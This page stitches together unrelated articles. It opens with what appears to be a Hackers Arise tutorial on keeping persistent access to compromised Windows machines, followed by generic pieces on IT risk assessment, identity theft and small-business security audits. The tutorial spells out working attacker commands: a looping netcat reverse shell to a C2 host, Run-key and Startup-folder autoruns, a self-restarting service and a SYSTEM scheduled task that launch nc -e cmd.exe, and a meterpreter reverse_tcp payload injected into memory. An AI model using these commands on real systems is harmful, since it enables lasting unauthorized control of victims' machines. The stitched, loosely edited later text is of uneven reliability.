Hello cyberwarriors!

This module takes the often-confusing topic of Windows persistence and turns it into a pragmatic playbook you can use during real engagements. In this part we start small and build up: short-lived shell loops that are easy to launch from any user context, autostart locations and registry Run keys that provide reliable logon-time execution, scheduled tasks that offer precise timing and powerful run-as options, Windows services that deliver the most durable, pre-logon persistence, and in-memory techniques that minimize on-disk traces. 

Techniques are shown with privileged # and non-privileged $ examples, so you can see what’s possible from the access you already have. Every method shows the balance between how secret it is, whether it stays after a restart, and what permissions you need to make it work.

Ultimately this module is designed to be immediately useful in the ongoing cyber conflict context. It is compact with repeatable techniques for maintaining access when appropriate.

Shell

Persistence can be achieved directly from a command prompt by creating a small looping construct that repeatedly launches a reverse or bind shell and then pauses for a fixed interval. The technique relies on a persistent cmd.exe process that keeps retrying the connection instead of using service registration or scheduled tasks. It’s a quick, user-space way to try to maintain an interactive foothold while the process lives. The example command is:

cmd$> start cmd /C "for /L %n in (1,0,10) do ( nc.exe C2 9001 -e cmd.exe & ping -n 60 127.0.0.1 )"

This runs a new command shell to execute the quoted loop. The for /L construct is used to execute the loop body repeatedly. In practice the parameters chosen here make the body run continuously. Inside the loop the nc.exe invocation attempts to connect back to the C2. 

The chained ping -n 60 127.0.0.1 acts as a simple portable sleep to insert a roughly one-minute delay between connection attempts.

Pros: allows a controllable retry interval and can be launched from any user account without special privileges.

Cons: the loop stops on reboot, logoff, or if the shell/window is closed, so it does not survive reboots.

This method is useful when you already have an interactive session and want a low-effort way to keep trying to reconnect, but it’s a volatile form of persistence. Treat it as temporary rather than reliable long-term access. From a defensive perspective, repeated processes with outbound network connections are a high-value detection signal.

Autostart

Autostart locations are the canonical Windows persistence vectors because the operating system itself will execute items placed there at user logon or system startup. The two typical approaches shown are copying an executable into a Startup folder and creating entries under the Run registry keys. Below are two separate techniques you can use depending on your privileges:

cmd$> copy persistence.exe %APPDATA%\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\

cmd$> reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v persistence /t REG_SZ /d "C:\users\username\persistence.exe"

cmd#> copy persistence.exe C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\

cmd#> reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v persistence /t REG_SZ /d "C:\Windows\system32\persistence.exe"

Placing an executable (or a shortcut to it) in a per-user Startup folder causes the Windows shell to launch that item when the specific user signs in. Using the ProgramData (all-users) Startup folder causes the item to be launched for any interactive login. 

Writing a value into HKCU\Software\Microsoft\Windows\CurrentVersion\Run registers a command line that will be executed at logon for the current user and can usually be created without elevated privileges. Writing into HKLM\Software\Microsoft\Windows\CurrentVersion\Run creates a machine-wide autorun and requires administrative rights. 

Pros: survives reboots and will automatically run at each interactive logon (per-user or machine-wide), providing reliable persistence across sessions. 

Cons: startup autoruns have no fine-grained execution interval (they only run at logon) and are a well-known, easily monitored location, making them more likely to be detected and removed.

Services

Using a Windows service to hold a backdoor is more robust than a simple autostart because the Service Control Manager (SCM) will manage the process lifecycle for you. Services can be configured to start at boot, run before any user logs on, run under powerful accounts (LocalSystem, NetworkService, or a specified user), and automatically restart if they crash. Creating a service requires administrative privileges, but once installed it provides a durable, system-integrated persistence mechanism that survives reboots and can recover from failures without manual intervention.

cmd#> sc create persistence binPath= "nc.exe ‐e \windows\system32\cmd.exe C2 9001" start= auto

cmd#> sc failure persistence reset= 0 actions= restart/60000/restart/60000/restart/60000

cmd#> sc start persistence

The first line uses sc create to register a new service named persistence. The binPath= argument provides the command line the service manager will run when starting the service. In practice this should be a quoted path that includes any required arguments, and many administrators prefer absolute paths to avoid ambiguity. start= auto sets the service start type to automatic so SCM will attempt to launch it during system boot. 

The second line configures the service recovery policy with sc failure: reset= 0 configures the failure count reset interval (here set to zero, meaning the failure count does not automatically reset after a timeout), and actions= restart/60000/restart/60000/restart/60000 tells the SCM to attempt a restart after 60,000 milliseconds (60 seconds) on the first, second and subsequent failures. This allows the service to be automatically relaunched if it crashes or is killed. 

The third line, sc start persistence, instructs SCM to start the service immediately. 

Pros: survives reboot, runs before user logon, can run under powerful system accounts, and can be configured with automatic restart intervals via the service recovery options.

Cons: creating or modifying services requires administrative privileges and is highly visible and auditable (service creation, service starts/stops and related events are logged and commonly monitored by endpoint protection and EDR solutions).

Scheduled Tasks

Scheduled tasks are a convenient and flexible way to maintain access because the Windows Task Scheduler supports a wide variety of triggers, run-as accounts, and recovery behavior. Compared with simple autostart locations, scheduled tasks allow precise control over when and how often a program runs, can run under powerful system accounts, and survive reboots. Creating or modifying scheduled tasks normally requires administrative privileges.

cmd#> schtasks /create /ru SYSTEM /sc MINUTE /MO 1 /tn persistence /tr "c:\temp\nc.exe -e c:\windows\system32\cmd.exe C2 9001"

Here the schtasks /create creates a new scheduled task named persistence. The /ru SYSTEM argument tells Task Scheduler to run the job as the SYSTEM account (no password required for well-known service accounts), which gives the payload high privileges at runtime. The /sc MINUTE /MO 1 options set the schedule type to “minute” with a modifier of 1, meaning the task is scheduled to run every minute. /tn persistence gives the task its name, and /tr "..." specifies the exact command line the task will execute when triggered. Because Task Scheduler runs scheduled jobs independently of an interactive user session, the task will execute even when no one is logged in, and it will persist across reboots until removed.

Pros: survives reboot and provides a tightly controlled, repeatable execution interval (you can schedule per-minute, hourly, daily, on specific events, or create complex triggers), and tasks can be configured to run under high-privilege accounts such as SYSTEM.

Cons: creating or modifying scheduled tasks typically requires administrative privileges and Task Scheduler events are auditable and commonly monitored by enterprise defenses.

In-Memory

In-memory persistence refers to techniques that load malicious code directly into a running process’s memory without writing a persistent binary to disk. The goal is to maintain a live foothold while minimizing on-disk artifacts that antiviruses and file-based scanners typically inspect. A common pattern is to craft a payload that is intended to execute only in RAM and then use some form of process injection (for example, creating a remote thread in a legitimate process, reflective DLL loading, or other in-memory execution primitives) to run that payload inside a benign host process. The technique is often used for short-lived stealthy access, post-exploitation lateral movement, or when the attacker wants to avoid leaving forensic traces on disk.

First you generate a payload with msfvenom:

c2 > msfvenom ‐p windows/x64/meterpreter/reverse_tcp LHOST=C2_IP LPORT=9007 ‐f raw ‐o meter64.bin StagerRetryCount=999999

And then inject it into a running process:

cmd$> inject_windows.exe PID meter64.bin

Pros: extremely low on-disk footprint and difficult for traditional antivirus to detect, since there is no persistent executable to scan and many memory-only operations generate minimal file or registry artifacts.

Cons: does not survive a reboot and requires a mechanism to get code into a process’s memory (which is often noisy and produces behavioral telemetry that modern endpoint detection and response solutions can flag).

Defenders may monitor for anomalous process behavior such as unexpected parent/child relationships, unusual modules loaded into long-lived system processes, creation of remote threads, or unusual memory protections being changed at runtime.

Summary

We explored different basic Windows persistence options by comparing durability, visibility, and privilege requirements: simple shell loops let you keep retrying a connection from a user shell without elevation but stop at logoff or reboot. Autostart provides reliable logon-time execution and can be per-user or machine-wide depending on privileges. Scheduled tasks give precise, repeatable execution (including SYSTEM) and survive reboots. Services offer the most durable, pre-logon, auto-restarting system-level persistence but require administrative rights and are highly auditable. In-memory techniques avoid on-disk artifacts and are stealthier but do not persist across reboots and often produce behavioral telemetry. The core trade-off is that greater restart resilience and privilege typically mean more detectable forensic signals, defenders should therefore watch for repeated outbound connection patterns, unexpected autoruns, newly created services or scheduled tasks, and anomalous in-memory activity.

In the first part of Advanced Windows Persistence, we will dive into advanced techniques that will leverage the Configs, Debugger, GFlags and WMI.

The post Post Exploitation: Maintaining Persistence in Windows first appeared on Hackers Arise.

What is an assessment of security risks?

The process of identifying and evaluating risks for assets that could be affected by cyberattacks is known as cybersecurity risk assessment. In essence, you identify threats from both within and without; examine how they might affect things like the integrity, confidentiality, and availability of data; and figure out how much it would cost to suffer a cybersecurity incident. Using this data, you can fine-tune your cybersecurity and data protection measures to your company's actual risk tolerance.

You must respond to three crucial questions in order to begin an IT security risk assessment:

1.       What are the data that, in the event of loss or exposure, would have a significant impact on your company's operations? These are your organization's critical information technology assets.

2.       What essential business procedures call for or make use of this data?

3.       What threats might make it harder for those business functions to function?

You are able to begin design strategies once you are aware of what you need to safeguard. But before you spend a penny or an hour of your time implementing a risk-reduction strategy, think about the type of risk you're dealing with, how important it is to you, and whether your approach is the most cost-effective.

The significance of conducting comprehensive IT security assessments on a regular basis developing a solid foundation for business success is aided by conducting comprehensive IT security assessments on a regular basis.

In particular, it gives them the ability to:

Assess potential security partners, Evaluate potential security partners, Establish, maintain, and demonstrate compliance with regulations Accurately forecast future needs.

 Explanation of cyber risk (IT risk) definition

According to the Institute of Risk Management, a cyber risk is “any risk of financial loss, disruption, or damage to the reputation of an organization from some sort of failure of its information technology systems.”

Prevent data breaches, choose appropriate protocols and controls to mitigate risks.

Cybersecurity risks include:

When taking stock of cyber risks, it is essential to detail the specific financial damage they could cause to the organization, such as legal fees, operational downtime and related profit loss, and lost business due to customer distrust. Hardware damage and subsequent data loss Malware and viruses Compromised credentials Company website failure.

The four essential components of an IT risk assessment

In a moment, we'll talk about how to evaluate each one, but first, a brief definition for each:

Threat: Anything that has the potential to harm an organization's people or assets is a threat. Natural disasters, website failures, and corporate espionage are examples.

A vulnerability is any potential flaw that would permit a threat to cause harm. A vulnerability that can make it possible for a malware attack to succeed, for instance, is out-of-date antivirus software. A vulnerability that increases the likelihood of equipment damage and downtime in the event of a hurricane or flood is a server room in the basement. Disgruntled employees and outdated hardware are two additional examples of vulnerabilities. A list of specific, code-based vulnerabilities is kept up to date in the NIST National Vulnerability Database.

The total damage an organization would suffer if a vulnerability were exploited by a threat is referred to as the impact. A successful ransomware attack, for instance, could result in not only lost productivity and costs associated with data recovery but also the disclosure of customer data or trade secrets, which could result in lost business as well as legal costs and penalties for compliance.

Probability — This is the likelihood that a danger will happen. Usually, it's a range rather than a single number.

Risk = Threat x Vulnerability x Asset. The following equation can be used to understand risk: Despite the fact that risk is represented here as a mathematical formula, it is not about numbers; It is a well-thought-out plan. Take, for instance, the scenario in which you want to determine the level of danger posed by the possibility of a system being hacked. Your risk is high if the asset is crucial and your network is extremely vulnerable (perhaps due to the absence of an antivirus solution and firewall). However, even though the asset is still critical, your risk will be medium if you have strong perimeter defences and a low vulnerability.

There is more to this than just a mathematical formula; It is a model for comprehending the connections among the factors that contribute to determining risk:

Threat is an abbreviation for "threat frequency," which is the anticipated frequency of an adverse event. One in one million people will, for instance, be struck by lightning in any given year.

The term "the likelihood that a weakness or exposure will be exploited and a threat will succeed against an organization's defences" is abbreviated as "vulnerability."

What is the organization's security environment like? If a breach does occur, how quickly can it be mitigated to avoid disaster? How likely is it that any given employee will pose an internal threat to security control, and how many of them are there?

A security incident's total financial impact is measured by its cost. Hard costs like hardware damage and soft costs like lost business and consumer confidence are included. Other expenses include:

Data loss: The theft of trade secrets could result in your competitors taking your business. Loss of trust and customer attrition could result from the theft of customer information.

System or application downtime: Customers may be unable to place orders, employees may be unable to perform their duties or communicate, and so on if a system fails to perform its primary function.

Legal repercussions: If someone steals data from one of your databases, even if the data isn't particularly valuable, you could be hit with fines and other legal fees because you didn't follow HIPAA, PCI DSS, or other data security regulations.

How to conduct a security risk assessment Now, let's go over how to conduct an IT risk assessment.

1.       Identify and prioritize assets- Servers, client contact information, confidential documents from partners, trade secrets, and so on are all examples of assets. Keep in mind that what you consider valuable as a technician may not actually be the most valuable for the company. As a result, you must collaborate with management and business users to compile a list of all valuable assets. Collect, if necessary, the following data for each asset:

• ·         Software

• ·         Hardware

• ·         Data

• ·         Interfaces

• ·         Users

• ·         Support Personnel

• ·         Mission or Purpose

• ·         Criticality

• ·         Functional requirements

• ·         IT security policies

• ·         IT security architecture

• ·         Network topology

• ·         Information storage protection

• ·         Information flow

• ·         Technical security controls

• ·         Physical security environment

• ·         Environmental security

Since most businesses only have a small budget for risk assessment, you will probably only need to cover mission-critical assets for the remaining steps. As a result, you must establish a standard for assessing each asset's significance. The asset's monetary value, legal status, and significance to the organization are common criteria. Use the standard to classify each asset as critical, major, or minor after it has been approved by management and formally incorporated into the risk assessment security policy.

2.       Identify Threats- Anything that has the potential to harm your business is a threat. While malware and hackers are probably the first to come to mind, there are many other kinds of threats as well.

Natural catastrophes. Fire, earthquakes, floods, hurricanes, and other natural disasters have the potential to destroy not only data but also servers and appliances. Consider the likelihood of various natural disasters when choosing a location for your servers. For instance, there might be a low chance of tornadoes but a high risk of flooding in your area.

Absence of hardware. The quality and age of the server or other machine determine the likelihood of hardware failure. The likelihood of failure is low for equipment of high quality that is relatively new. However, the likelihood of failure is significantly increased if the equipment is old or comes from a "no-name" vendor. No matter what industry you operate in, you should put this threat on your watch list. It is possible for people to accidentally delete important files, click on a malicious link in an email, or spill coffee on critical systems-hosting equipment.

There are three types of wrongdoing:

When someone damages your business by physically stealing a computer or server, engineering a distributed denial of service (DDOS) attack against your website, or deleting data, they are committing interference.

Your data is stolen through interception.

Impersonation is the misuse of another person's credentials, which are typically obtained through social engineering, brute force, or the dark web.

3.       Identify Vulnerabilities- A weakness that could allow a threat to harm your business is a vulnerability. Analysis, audit reports, the NIST vulnerability database, vendor data, information security test and evaluation (ST&E) procedures, penetration testing, and automated vulnerability scanning tools are all methods by which vulnerabilities can be identified.

Don't confine your thinking to software flaws; Additionally, there are human and physical vulnerabilities. Having your server room in the basement, for instance, increases your vulnerability to flooding, and not informing employees about the dangers of clicking on links in emails increases your vulnerability to malware.

4.    Controls- To reduce or eliminate the likelihood that a threat will exploit a vulnerability, analyse the controls that are either in place or in the planning stage. Encryption, methods for detecting intrusions, and solutions for identification and authentication are all examples of technical controls. Security policies, administrative actions, and physical and environmental mechanisms are examples of nontechnical controls.

Nontechnical and technical controls can be further divided into preventive and detective categories. Preventive controls, as the name suggests, attempt to anticipate and avert attacks; Devices for authentication and encryption are two examples. Detective controls are used to find threats that have already happened or are about to happen; They include intrusion detection systems and audit trails.

5.        Determine the Likelihood of an Incident- Consider the type of vulnerability, the capability and motivation of the threat source, and the effectiveness of your controls to determine the likelihood that a vulnerability will actually be exploited. When determining the likelihood of an attack or other adverse event, many organizations use the categories high, medium, and low rather than a numerical score. 

The asset's mission and any processes that are dependent on it; the asset's value to the organization; and the asset's sensitivity. A business impact analysis (BIA) or mission impact analysis report can provide this information. The impact of harm to the organization's information assets, such as loss of confidentiality, integrity, and availability, is quantified or qualitatively assessed in this document. The impact on the system can be graded as high, medium, or low qualitatively.

6.        Determine the Level of Risk to the IT System for Each Threat/Vulnerability Pair Prioritize the Information Security Risks

The risk-level matrix is a useful tool for estimating risk in this manner. The likelihood that the threat will exploit the vulnerability. The approximate cost of each of these occurrences. The suitability of the planned or existing information system security controls for eliminating or reducing the risk. A probability of 1.0 indicates that the threat will be met; A value of 0.5 is assigned to a medium likelihood; and a 0.1 rating for a low likelihood of occurrence. In a similar vein, the values for a high impact level are 100, a medium impact level is 50, and a low impact level is 10. Risks are categorized as high, medium, or low based on the result of multiplying the threat likelihood value by the impact value.

7.        Recommend Controls - Determine the necessary steps to reduce the risk using the risk level as a foundation. For each level of risk, the following are some general guidelines:

High: As soon as possible, a plan for corrective action should be created.

Medium: Within a reasonable amount of time, a plan for corrective measures should be developed.

Low: The group must decide whether to take the risk or do something about it.

Be sure to take into account the following when evaluating controls to reduce each risk:

Policies of the organization Cost-benefit analysis Operational impact Feasibility Regulatory requirements in effect.

The recommended controls' overall effectiveness, Safety and reliability of the  Document ,the Results ,The development of a risk assessment report is the final step in the risk assessment process. 

This report will help management make good decisions about the budget, policies, procedures, and other things. The report ought to provide a description of the vulnerabilities that correspond to each threat, the assets that are in danger, the impact on your IT infrastructure, the likelihood of occurrence, and the control recommendations.

Report on the IT risk assessment- The risk assessment report can point to important steps that can be taken to reduce multiple risks. For instance, taking regular backups and storing them off-site will reduce the likelihood of flooding and accidental file deletion. The associated costs and business justifications for making the investment should be explained in detail at each step.

Always keep in mind that the core of cybersecurity are the enterprise risk management and information security risk assessment processes. The information security management strategy as a whole is built on these processes, which answer questions about which threats and vulnerabilities can cost the company money and how to reduce them.

 👉Identity theft definition 

Identity theft is the use of someone else's personal information without permission, typically to conduct financial transactions. By personal information, we mean data that institutions use to recognize any individual associated with the institutions. Examples are social security number, bank account number, address history, and soon and so forth.

These types of valuable information are in theory private and should be treated as SPII, but in practice can often be discovered in a variety of ways by a dedicated identity thief, who can then either access individual’s own accounts or open new ones in your name. The latter practice can be particularly having a harmful effect,  with just your social security number, identity thieves can take out loans or credit cards that they never pay off — and the resulting damage to your credit rating can be very difficult to undo.

While identity theft is a very old crime, in many ways it is a defining problem of our modern digital age, in which your personal information can easily be exposed online due to your own negligence or the poor security practices of companies you do business with, and so much of your financial life rides on the accuracy of your credit rating. The damage can be mitigated, but it's better to prevent the theft in the first place.

Impact of identity theft on business

Identity theft is most often associated with the act of stealing an individual's identity.

Here we are talking about an identity thief pretending to be someone within a company who has the authority to make financial transactions, just like they might pretend to be another individual.

The consequences can be dire, particularly for small businesses where the founder's or owner's finances are deeply entangled with the company's.

How is identity theft committed?

·     

Identity theft examples

Once identity thieves have identifying information about you or your company, there's a lot of different techniques they can use to profit from it.

•    Accessing existing financial accounts. This is probably the most straightforward way to profit from identity theft-- by simply stealing your money. With a credit card or bank account number, identity thieves can make purchases until the fraud is noticed and the accounts frozen. Businesses, which may have large amounts of cash or credit for day-to-day operations, are a particularly tempting target.

•    Opening a fraudulent credit card or other line of credit. This can be achieved with as little data as a name and a social security number. Once the credit is available to the identity thief, money can be withdrawn and spent or charges made to the card — and of course they'll make no attempt to pay off the loan. Since the debt is attached to the victim's social security number, there are little or no consequences for the identity thief. Again, businesses are a particularly tempting victim of these scams, as they can often acquire bigger lines of credit than individuals can.

 Identity theft protection

There's a wealth of information out there on how to protect yourself from identity theft, from outlets ranging from credit agencies to government websites to personal finance publications. While the details differ, there are some bits of advice that almost everyone seems to agree on, and they apply to individuals and businesses alike.

Following are the points we can practice to our confidential data safe from theft.

1.    Don't share personal information (birthdate, Social Security number, or bank account number) because someone asks for it.

2.    Pay attention to your billing cycles. If bills or financial statements are late, contact the sender.

3.    Secure your Social Security number (SSN). Don't carry your Social Security card in your wallet. Only give out your SSN when necessary.

4.    Collect mail every day. Place a hold on your mail when you are away from home for several days.

5.    Store personal information in a safe place.

6.    Install firewalls and virus-detection software on your home computer.

7. Create complex passwords that identity thieves cannot guess. Change your passwords if a company that you do business with has a breach of its databases

8.  Update sharing and firewall settings when you're on a public wi-fi network. Use a virtual private network (VPN), if you use public wi-fi.

How to report identity theft

That's a long list of precautions you need to take, and while many people make strong efforts to meet all of them, it's hard to do it all perfectly — and an identity thief only needs to get lucky once. And as we've noted, many identity thieves get personal data derived from hacks of corporate systems, so even if you've been completely vigilant about your data, you can still find yourself a victim of identity theft if some company you've done business with lets down its guard.

If you think, you have been hacked or your confidential information are compromised, here are few tips you can follow.

1.    Pull your credit report. Every year, you’re entitled to one free credit report from each of the main credit card company You can access these reports from the respective credit card issuer company’s website as well.

2.    File a police report and fraud affidavit. These can be obtained from your creditor(s) recovery department, and provide copies of these documents and any additional necessary paperwork to creditors’ fraud departments.

3.  Create an Identity Theft Report. Do inform the credit card issuer about the fraud online .The online report asks a few questions about your situation, then devises a personal recovery plan.

4.    Place an extended fraud alert on your credit file. This alert lasts seven years and is available only to identity theft victims. To get an extended fraud alert, you’ll first need to fill out an Identity Theft Report.

5.    Make a list of suspicious  activity. Applications to open new accounts, as well as the accounts that have already been fraudulently opened in your name, must be noted and forwarded to the three credit bureaus and listed on your Identity Theft Report.

6.    Provide creditors’ fraud departments with the details and contacts. It will take up to 90 days to conduct a full investigation.

7.    Obtain letters from your creditors. These letters should state that the fraudulence on your account has been confirmed, resolved and removed from your account. Then make sure that your creditors have expunged this negative reporting on your account and that a letter stating this has been sent to all three credit reporting bureaus. (As a backup, you should personally send a copy of these letters to the credit reporting agencies as well.) Be sure to call afterward to make sure that they have received this information.

Conclusion

Identity theft not only impacts you financially but emotionally as well. The emotional stress can disrupt your sleeping and eating and lead to depression. If such things happens then giving yourself room to breathe and allowing some time to pass to repair the damage, noting that recovering from identity theft can be a process that takes weeks or even months.

Identity Guard

👉With reference to the COVID-19 pandemic, where in one hand staying healthy is a big issue and on the other hand  the abnormal becomes our new normal, Business houses and especially the SMBs need to approach remote work by using a combination of cloud-based services, e.g GCS, AWS, MS Azure and on-premises solutions to keep employees and systems safe and ensure business productivity.

SMBs are proactively putting tools in place to combat attacks and limit their vulnerabilities even though they continue grappling with limited security budgets and resource constraints. SMBs are coordinating with vendors and engaging in-house experts to incorporate multi-layered network security tools and a hybrid network infrastructure, such as SD-WAN, to avoid large-scale network vulnerabilities, regardless of budget and resource size.

SD-WAN allows opportunity to small businesses who are operating in multiple physical locations and using bandwidth intensive applications, such as Voice over IP tools, Zoom, or Salesforce, to take advantage of this technology. SMBs can increase branch office network security, increase Internet efficiency, and decrease IT spending. 

 However, dealing with these challenges during a work-from-home shift has created gaping vulnerabilities within an organization's networks and adds another challenge to an already overburdened IT department to maintain the deliverables on time.

If you go through the forum and articles related to IT security, you will notice that many companies/SMBs haven't had the time or resources to ensure an adequate security policy for their workforce. They are, continuing business operations against lower levels of protection due to lack of IT security framework, policies and guidelines.

In addition to framing a general security check policy, SMB leaders should remind employees of security best practices for end users, review and update disaster recovery plans, and establish strong lines of communication among all remote teams.

Security and IT professionals also suggests the same for the SMB leaders to strengthen their overall business continuity strategy

There’s enough room of opportunities for small- and medium-sized businesses (SMBs) to tighten their IT security infrastructure — and no lack of reasons they should.

We’ve prepared list of an IT security checklist for small businesses — the core practices moving IT teams off the hamster wheel and into proactive, not reactive, IT enterprise security.

Business IT security checklists should be potent enough to address these top malicious cybersecurity incidents and attacks before they become mission-critical, non-recoverable breaches.

Here is a simple guide on how to perform a basic IT security audit for a small to medium business.

👉Identify the Business Assets

The first and foremost task for an organization is to identify the various assets a business maintains and owns. During the audit this makes it easier to map out the scope of the audit and ensure that nothing is overlooked.

Asset details creation

The IT auditor or the person conducting the audit should list down all the valuable assets by taking help of asset and inventory management team of the company that requires protection. Items to be included in the master list are framed below:

·  Hardware and Equipment including but not limited to computers, laptops, servers, hard drives, modems, printers, phone systems, mobile devices, etc.

·  Software, online tools, and apps including email servers, cloud storage, data management systems, financial accounting systems, payment gateways, websites, social media accounts, etc.

· Files and data storage systems including company finance details, customer databases, product information, confidential documents, intellectual property, etc.

·  Existing IT Security Software and Procedures

Asset classification based on importance

Once the asset master list is created, the next step should be to prioritize the assets based on how essential they are to the business. One of the criteria to decide what should be on top of the list is to consider how big an impact the business could experience should a problem occur to these assets.

Schedule the audit

Based on the asset classification based on the importance list, the audit should be scheduled accordingly. Managers and employees should be informed of the scheduled dates in case access and operations would need to be interrupted.

Customers and clients who use certain assets such as websites or apps should also be informed in advance for any downtime during the audit window.

Recognize Risks and Threats

After generating the list of assets and identifying the scope of the review, the IT auditor should pre-identify the potential risk and threats the business could face. These risks and threats are the factors the audit should be testing against to ensure that security measures are well-implemented.

These risks and threats can include:

·         Hardware and equipment failure

·         PC viruses, malware, phishing, ransomware and hacking attacks

·         Natural disasters such as fire, flood, and earthquake

·         Theft of physical property or equipment

·         Theft of data whether external and internal

·         Loss of Data

·         Unofficial access

Audit Techniques

Before performing the on-site evaluation, the IT auditor should set audit techniques that will be utilised to do the review. These techniques can include:

·  Technical examinations including physical performance testing, monitoring and scanning through software

·  Visual inspection of location, placement, and physical condition of the hardware

·   Observation and analysis of assets in relation to threats and risks

·  Questionnaires and in-person interviews to determine compliance to security protocols, password practises, and access control to data and accounts

Perform On-site Evaluation

This is when the actual audit takes place. All the previous steps that were taken into account should prepare the IT auditor to effectively conduct the  review of the assets. It is important to also assess existing security procedures, if any, during this time.

The IT auditor should use a uniform evaluation scheme during his appraisal. This does not need to be complicated and should be easy for the business managers and stakeholders  to understand.

An example of an evaluation scheme is below:

·  Highly Secure, no further actions needed

·  IT Security Deficiency Identified, actions implemented

·  IT Security Deficiency Identified, with recommended actions for further implementation.

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While the audit is ongoing, the IT auditor should use his preferred evaluation scheme to note down the results of the tests, all the actions taken during the audit, as well as what further actions need to be implemented after the audit.

There are times when straightforward resolutions can be executed immediately such as re-installing an outdated antivirus software or limiting access controls. However, there are also solutions that may be more time-consuming such as data backup or may involve purchase of new assets to be implemented.

Diligently noting down his findings will make it easier for him to remember these details when creating the post-audit report. This is the next step of the process.

Observations, Reports and Recommendations

The final yet most important part of the IT security audit is the preparation of the audit report. This will include the details of the testing, findings as well as the recommended action plans to be taken. This report must conclude what needs to be resolved, revised and upgraded to meet industry IT security standards.

In creating the report, the IT auditor should note down the security gaps that were identified during the system checks, with probable cause and state clear recommendations on how to resolve the issue. It should also indicate the potential impacts the problem will further create if not immediately rectified.

For example, if a business is suffering from no AV updates and windows security patch updates  his recommendation report should specify this issue as the problem.

Potential causes can be unexpected electric surges or out-of-date equipment not compatible with the existing office network. He should then list down the business consequences caused by this IT issue such as loss of productivity and project delays.

Lastly, he should research and specify an actionable recommendation such as employing remote diagnostics as an immediate troubleshooting method to prevent long downtime periods or maybe purchasing new equipment altogether.

Better Secure than Sorry

Any Business house , big or small, is vulnerable to the hazardous threats and cyber-attacks that can disrupt the  business operations. The survival of SMB’s will depend on how fast they can adapt to the digital landscape that is constantly transforming the face of business.

Having a security-first mentality through the performance of regular audits is a smart way to establish a secure IT environment and will keep SMB’s equipped and ready to meet the challenges head-on.

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